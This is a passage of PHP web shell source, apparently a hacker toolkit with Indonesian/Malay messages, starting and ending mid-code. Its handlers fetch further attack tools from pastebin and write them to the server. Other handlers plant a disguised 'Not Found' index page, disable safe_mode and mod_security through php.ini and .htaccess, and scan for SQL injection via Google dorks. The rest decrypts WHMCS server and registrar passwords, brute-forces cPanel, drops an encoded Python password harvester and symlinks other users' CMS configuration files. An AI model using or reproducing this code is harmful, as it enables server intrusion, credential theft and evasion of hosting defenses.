'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+'; $tulis = fwrite( $indexshell, base64_decode($data)); fclose($indexshell); $safemode = fopen("php.ini" ,"w+"); $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F'; $tulis = fwrite( $safemode, base64_decode($data)); fclose($safemode); echo ""; } ///////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'wso25')) { $file = file_get_contents('http://pastebin.com/raw.php?i=WzKKMmth'); $IIIIIIIIl11I = fopen('css.php','w'); fwrite($IIIIIIIIl11I,$file); fclose($IIIIIIIIl11I); print '
Tools siap diluncurkan Boss....
Done !!


[ css.php ]
'; } //////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'Cleaner')) { $file = file_get_contents('http://pastebin.com/raw.php?i=YdX7RjGE'); $IIIIIIIIl11I = fopen('clean.php','w'); fwrite($IIIIIIIIl11I,$file); fclose($IIIIIIIIl11I); print '
Klik Disini....

[ clean.php ]
'; } /////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'rootbrute')) { ?>
"; mkdir('rootbrute', 0755); chdir('rootbrute'); $akses = ".htaccess"; $buka_lah = "$akses"; $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!"); $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI AddType application/x-httpd-php .cpc "; fwrite ( $buka , $metin ) ; fclose ($buka); $rootbrute = file_get_contents('http://pastebin.com/raw.php?i=CT4rJiP2'); $file = fopen("rootbrute.php" ,"w+"); $write = fwrite ($file ,($rootbrute)); fclose($file); chmod("rootbrute.php", 0644); $indexshell = fopen("index.php" ,"w+"); $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+'; $tulis = fwrite( $indexshell, base64_decode($data)); fclose($indexshell); $safemode = fopen("php.ini" ,"w+"); $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F'; $tulis = fwrite( $safemode, base64_decode($data)); fclose($safemode); echo ""; } //////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'whmkill')) { ?>
"; mkdir('whmkill', 0755); chdir('whmkill'); $akses = ".htaccess"; $buka_lah = "$akses"; $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!"); $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI AddType application/x-httpd-php .cpc "; fwrite ( $buka , $metin ) ; fclose ($buka); $whmkill = file_get_contents('http://pastebin.com/raw.php?i=8CmTkm3R'); $file = fopen("whmkill.php" ,"w+"); $write = fwrite ($file ,($whmkill)); fclose($file); chmod("whmkill.php", 0644); $indexshell = fopen("index.php" ,"w+"); $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+'; $tulis = fwrite( $indexshell, base64_decode($data)); fclose($indexshell); $safemode = fopen("php.ini" ,"w+"); $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F'; $tulis = fwrite( $safemode, base64_decode($data)); fclose($safemode); echo ""; } /////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'bdscan')) { ?>
"; mkdir('bdscan', 0755); chdir('bdscan'); $akses = ".htaccess"; $buka_lah = "$akses"; $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!"); $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI AddType application/x-httpd-php .cpc "; fwrite ( $buka , $metin ) ; fclose ($buka); $bdscan = file_get_contents('http://pastebin.com/raw.php?i=R9SVsqbV'); $file = fopen("bdscan.php" ,"w+"); $write = fwrite ($file ,($bdscan)); fclose($file); chmod("bdscan.php", 0644); $indexshell = fopen("index.php" ,"w+"); $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+'; $tulis = fwrite( $indexshell, base64_decode($data)); fclose($indexshell); $safemode = fopen("php.ini" ,"w+"); $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F'; $tulis = fwrite( $safemode, base64_decode($data)); fclose($safemode); echo ""; } ///////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'passlist')) { ?>



Dork :   
'; ob_start(); set_time_limit(0); if (isset($_POST['scan'])) { $browser = $_SERVER['HTTP_USER_AGENT']; $first = "startgoogle.startpagina.nl/index.php?q="; $sec = "&start="; $reg = '/

Found : '.$url.' <-- SQLI Vuln Found..'; ob_flush();flush(); }else{ echo '

'.$url.' <-- Not Vuln
'; ob_flush();flush(); } ob_flush();flush(); } ob_flush();flush(); } ob_flush();flush(); } elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ if(isset($_POST['uploadcomp'])){ if(is_uploaded_file($_FILES['file']['tmp_name'])){ $path = magicboom($_POST['path']); $fname = $_FILES['file']['name']; $tmp_name = $_FILES['file']['tmp_name']; $pindah = $path.$fname; $stat = @move_uploaded_file($tmp_name,$pindah); if ($stat) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $fname"; } else $msg = "failed to upload $fname"; } elseif(isset($_POST['uploadurl'])){ $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']); $path = magicboom($_POST['path']); $namafile = download($pilihan,$wurl); $pindah = $path.$namafile; if(is_file($pindah)) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $namafile"; } ?>
Upload from computer

Upload from url
url


Nonaktifkan Safe Mode dan Clear Nonaktifkan Fungsi penggunakan php.ini
Path to Disable :


Nonaktifkan Safe Mode dan Clear Nonaktifkan Fungsi penggunakan Htaccess
Path to Disable :
"; $dirphpini = $_POST['phpinisafemode']; $dirhtaccess = $_POST['htaccesssafemode']; $phpininamelol = "php.ini"; if($_POST['omssubmit']) { $fse=fopen("$dirphpini.htaccess","w"); fwrite($fse,' Sec------Engine Off Sec------ScanPOST Off '); echo ""; fclose($fse); } else if ($_POST['dsmsubmit']) { $fse=fopen("$dirhtaccess$phpininamelol","w"); fwrite($fse,'safe_mode=OFF disable_functions=NONE'); echo ""; fclose($fse); } } /////////////////////////////////////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')) { if(isset($_POST['mail_send'])) { $mail_to = $_POST['mail_to']; $mail_from = $_POST['mail_from']; $mail_subject = $_POST['mail_subject']; $mail_content = magicboom($_POST['mail_content']); if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")) { $msg = "email sent to $mail_to"; } else $msg = "send email failed"; } ?>
   mail to
    from
   subject
 
    
+--==[ WHMCS Decoder ]==--+


WHMCS Decoder
db_host
db_username
db_password
db_name
cc_encryption_hash
    
"; if($_POST['form_action'] == 2 ) { //include($file); $db_host=($_POST['db_host']); $db_username=($_POST['db_username']); $db_password=($_POST['db_password']); $db_name=($_POST['db_name']); $cc_encryption_hash=($_POST['cc_encryption_hash']); $link=mysql_connect($db_host,$db_username,$db_password) ; mysql_select_db($db_name,$link) ; $query = mysql_query("SELECT * FROM tblservers"); while($v = mysql_fetch_array($query)) { $ipaddress = $v['ipaddress']; $username = $v['username']; $type = $v['type']; $active = $v['active']; $hostname = $v['hostname']; echo("
"); $password = decrypt ($v['password'], $cc_encryption_hash); echo(""); echo(""); echo(""); echo(""); echo(""); echo(""); echo "
Type$type
Active$active
Hostname$hostname
Ip$ipaddress
Username$username
Password$password


"; } $link=mysql_connect($db_host,$db_username,$db_password) ; mysql_select_db($db_name,$link) ; $query = mysql_query("SELECT * FROM tblregistrars"); echo("
Domain Reseller
"); echo(""); while($v = mysql_fetch_array($query)) { $registrar = $v['registrar']; $setting = $v['setting']; $value = decrypt ($v['value'], $cc_encryption_hash); if ($value=="") { $value=0; } $password = decrypt ($v['password'], $cc_encryption_hash); echo(""); } } } /////////////////////////////////////////////////////////////////////////// elseif(isset($_GET['x']) && ($_GET['x'] == 'cpbrute')) { ?> $user) Password is ($pass)
"; $ok++; } } } } echo "
Yea motherfocker, Found $ok Cpanel!!"; echo "
BACK"; exit; } } if($_POST['pass']=='password'){ @error_reporting(0); $i = getenv('REMOTE_ADDR'); $d = date('D, M jS, Y H:i',time()); $h = $_SERVER['HTTP_HOST']; $dir=$_SERVER['PHP_SELF']; //mail("aeruldawhitehkc@gmail.com","Cpanel Bruteforce","IP : $i \n | Host : $h \n | Dir : $dir \n "); $back = "c2FmZV9tb2RlID0gT2ZmCmRpc2FibGVfZnVuY3Rpb25zID0gTm9uZQpzYWZlX21vZGVfZ2lkID0gT0ZGCm9wZW5fYmFzZWRpciA9IE9GRgphbGxvd191cmxfZm9wZW4gPSBPbg=="; $file = fopen("php.ini","w+"); $write = fwrite ($file ,base64_decode($back)); fclose($file); chmod("php.ini",0755); mkdir('config',0755); $cp = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic='; $file = fopen("cp.py","w+"); $write = fwrite ($file ,base64_decode($cp)); fclose($file); chmod("cp.py",0755); $url = $_POST['url']; echo"
"; echo "
BACK"; exit; } if($_POST['matikan']=='sekatan'){ @error_reporting(0); $phpini = 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ=='; $file = fopen("php.ini","w+"); $write = fwrite ($file ,base64_decode($phpini)); fclose($file); $htaccess = 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ=='; $file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($htaccess)); echo "
DONE!"; echo "
BACK"; exit; } if($_POST['mendapatkan']=='passwd'){ @set_magic_quotes_runtime(0); ob_start(); error_reporting(0); @set_time_limit(0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); $fn = $_POST['foldername']; //all function here function syml($usern,$pdomain) { symlink('/home/'.$user.'/public_html/beta/configuration.php',$kola.' ~~ beta - Joomla.txt') ; symlink('/home/'.$user.'/public_html/configuration.php',$kola.' ~~ joomla.txt') ; symlink('/home/'.$user.'/public_html/includes/config.php',$kola.' ~~ vBulletin-2.txt') ; symlink('/home/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt') ; symlink('/home/'.$user.'/public_html/store/configuration.php',$kola.' ~~ store - Joomla.txt') ; symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.' ~~ joomla - Joomla.txt'); symlink('/home/'.$user.'/public_html/portal/configuration.php',$kola.' ~~ portal - Joomla.txt'); symlink('/home/'.$user.'/public_html/joom/configuration.php',$kola.' ~~ joom - Joomla.txt'); symlink('/home/'.$user.'/public_html/joo/configuration.php',$kola.' ~~ jom - Joomla.txt'); symlink('/home/'.$user.'/public_html/cms/configuration.php',$kola.' ~~ cms - Joomla.txt'); symlink('/home/'.$user.'/public_html/site/configuration.php',$kola.' ~~ site - Joomla.txt'); symlink('/home/'.$user.'/public_html/main/configuration.php',$kola.' ~~ main - Joomla.txt'); symlink('/home/'.$user.'/public_html/news/configuration.php',$kola.' ~~ news - Joomla.txt'); symlink('/home/'.$user.'/public_html/new/configuration.php',$kola.' ~~ new - Joomla.txt'); symlink('/home/'.$user.'/public_html/home/configuration.php',$kola.' ~~ home - Joomla.txt'); symlink('/home/'.$user.'/public_html/test/configuration.php',$kola.' ~~ test - Joomla.txt'); symlink('/home/'.$user.'/public_html/myshop/configuration.php',$kola.' ~~ myshop - Joomla.txt'); symlink('/home/'.$user.'/public_html/Settings.php',$kola.' ~~ Smf.txt'); symlink('/home/'.$user.'/public_html/smf/Settings.php',$kola.' ~~ smf - Smf.txt'); symlink('/home/'.$user.'/public_html/forum/Settings.php',$kola.' ~~ forum - Smf.txt'); symlink('/home/'.$user.'/public_html/forums/Settings.php',$kola.' ~~ forums - Smf.txt'); symlink('/home/'.$user.'/public_html/sites/default/settings.php',$kola.' ~~ sites - default - configuration 3.txt'); symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$kola.' ~~ Zencart.txt'); symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.' ~~ zencart - zencart.txt'); symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.' ~~ shop - zencart.txt'); symlink('/home/'.$user.'/public_html/includes/configure.php',$kola.' ~~ Oscommerce.txt'); symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.' ~~ oscommerce - Oscommerce.txt'); symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.' ~~ oscommerces -Oscommerces.txt'); symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$kola.' ~~ shopping - Shopping.txt'); symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$kola.' ~~ sale - Oscommerce.txt'); symlink('/home/'.$user.'/public_html/store/includes/configure.php',$kola.' ~~ store - Oscommerce.txt'); symlink('/home/'.$user.'/public_html/inc/config.php',$kola.' ~~ MyBB.txt') ; symlink('/home/'.$user.'/public_html/forum/inc/config.php',$kola.' ~~ forum - MyBB .txt') ; symlink('/home/'.$user.'/public_html/lib/config.php',$kola.' ~~ Balitbang.txt') ; symlink('/home/'.$user.'/public_html/cc/includes/config.php',$kola.' ~~ 